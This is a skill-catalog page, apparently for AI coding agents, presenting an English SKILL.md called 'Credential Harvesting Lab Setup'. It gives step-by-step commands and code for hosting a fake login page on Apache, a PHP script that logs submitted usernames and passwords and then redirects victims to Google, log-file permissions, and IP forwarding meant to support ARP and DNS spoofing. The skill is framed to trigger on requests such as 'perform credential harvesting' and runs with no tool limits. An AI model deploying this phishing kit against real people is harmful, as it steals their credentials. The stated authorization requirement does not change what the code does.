Command Palette

Search for a command to run...

UnylyUnyly
Назад к скиллам

Credential Harvesting Lab Setup

БесплатноБез исполняемых скриптовНе проверен

This skill should be used when the user asks to "build a phishing lab", "perform credential harvesting", "set up ARP spoofing", "configure DNS spoofing"…

zebbernот zebbern★ 34 звезды на GitHub8 установок в других каталогах

Об этом скилле

Credential Harvesting Lab Setup

Purpose

Build a controlled credential harvesting lab environment using ARP spoofing, DNS spoofing, and Apache web server hosting. This skill covers creating phishing pages, redirecting traffic, and capturing credentials for authorized penetration testing and security awareness demonstrations.

Prerequisites

Required Environment

  • Kali Linux or similar penetration testing OS
  • Apache2 web server
  • dsniff package (arpspoof, dnsspoof)
  • Network access to target segment
  • Written authorization for testing

Required Knowledge

  • Basic networking concepts
  • HTML/PHP fundamentals
  • Linux command-line proficiency
  • ARP and DNS protocol understanding

Outputs and Deliverables

  1. Apache Web Server - Configured fake website hosting
  2. Phishing Page - Convincing login page replica
  3. Traffic Redirection - ARP and DNS spoofing setup
  4. Credential Logs - Captured username and password data

Core Workflow

Phase 1: Apache Web Server Setup

Install and configure Apache:

# Update packages and install Apache
sudo apt update && sudo apt install apache2 -y

# Start Apache service
sudo service apache2 start

# Check service status
sudo service apache2 status

# Verify installation
curl http://localhost
# Or open browser to http://localhost

Apache Directory Structure:

/var/www/html/          # Web root directory
├── index.html          # Default landing page
├── login.php           # Credential capture script
└── login_log.txt       # Logged credentials

Phase 2: Create Phishing Page

Navigate to web directory:

# Move to web root
cd /var/www/html/

# Backup original index file
sudo mv index.html index.html.backup

# Create new phishing page
sudo nano index.html

Sample Login Page (index.html):

<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
    <title>Login</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #fafafa;
            height: 100vh;
            margin: 0;
            display: flex;
            justify-content: center;
            align-items: center;
        }
        .container {
            background-color: white;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            width: 300px;
        }
        input {
            width: calc(100% - 20px);
            padding: 10px;
            margin: 8px 0;
            box-sizing: border-box;
        }
        button {
            background-color: #3897f0;
            color: white;
            padding: 10px;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            width: calc(100% - 20px);
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>Login</h1>
        <form action="/login.php" method="post">
            <label for="username">Username</label>
            <input type="text" id="username" name="username" 
                   placeholder="Username" required>
            <label for="password">Password</label>
            <input type="password" id="password" name="password" 
                   placeholder="Password" required>
            <button type="submit">Log In</button>
        </form>
    </div>
</body>
</html>

Phase 3: Credential Capture Script

Create PHP script to log credentials:

sudo nano /var/www/html/login.php

PHP Credential Logger (login.php):

<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $username = filter_var($_POST["username"], FILTER_SANITIZE_STRING);
    $password = filter_var($_POST["password"], FILTER_SANITIZE_STRING);
    
    $loginInfo = "Username: $username\nPassword: $password\n\n";
    $filePath = "/var/www/html/login_log.txt";
    
    if (file_put_contents($filePath, $loginInfo, FILE_APPEND) !== false) {
        // Redirect to legitimate site after capture
        header("Location: https://www.google.com");
        exit();
    } else {
        $errorMessage = error_get_last()['message'];
        echo "Error: $errorMessage";
    }
} else {
    echo "Invalid request method";
}
?>

Phase 4: Configure Logging

Set up credential log file:

# Create log file
sudo touch /var/www/html/login_log.txt

# Set permissions for logging
sudo chmod 644 /var/www/html/login_log.txt
sudo chmod -R 755 /var/www/html

# Ensure www-data can write
sudo chown www-data:www-data /var/www/html/login_log.txt

# View captured credentials
cat /var/www/html/login_log.txt

# Monitor in real-time
tail -f /var/www/html/login_log.txt

Phase 5: Enable IP Forwarding

Configure system for traffic forwarding:

# Enable IP forwarding (temporary)
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# Verify forwarding enabled
cat /proc/sys/net/ipv4/ip_forward
# Should return: 1

# Permanent IP forwarding (optional)
sudo nano /etc/sysctl.conf
# Uncomment: net.ipv4.ip_forward=1
sudo sysctl -p
Полный SKILL.md на GitHub

Установить Credential Harvesting Lab Setup в Claude Code и Claude Desktop

Зарегайся, чтобы установить скилл

Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.

  • Открой команду установки в одну строку
  • Сохраняй скиллы в синхронизируемую библиотеку
  • Уведомления, когда скиллы обновляются
Зарегаться бесплатноУ меня уже есть аккаунт

Разрешённые инструменты

Инструменты, которые скиллу разрешено вызывать.

Без ограничений — скилл может использовать любой инструмент.

FAQ

Что делает скилл Credential Harvesting Lab Setup?

This skill should be used when the user asks to "build a phishing lab", "perform credential harvesting", "set up ARP spoofing", "configure DNS spoofing", "create a fake login page", or "test social engineering attacks". It provides techniques for building a credential harvesting environment.

Как установить скилл Credential Harvesting Lab Setup?

Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.

Скилл Credential Harvesting Lab Setup запускает скрипты?

Нет, скилл состоит только из инструкций (SKILL.md), без исполняемых скриптов.

Похожие скиллы

Сравнить Credential Harvesting Lab Setup с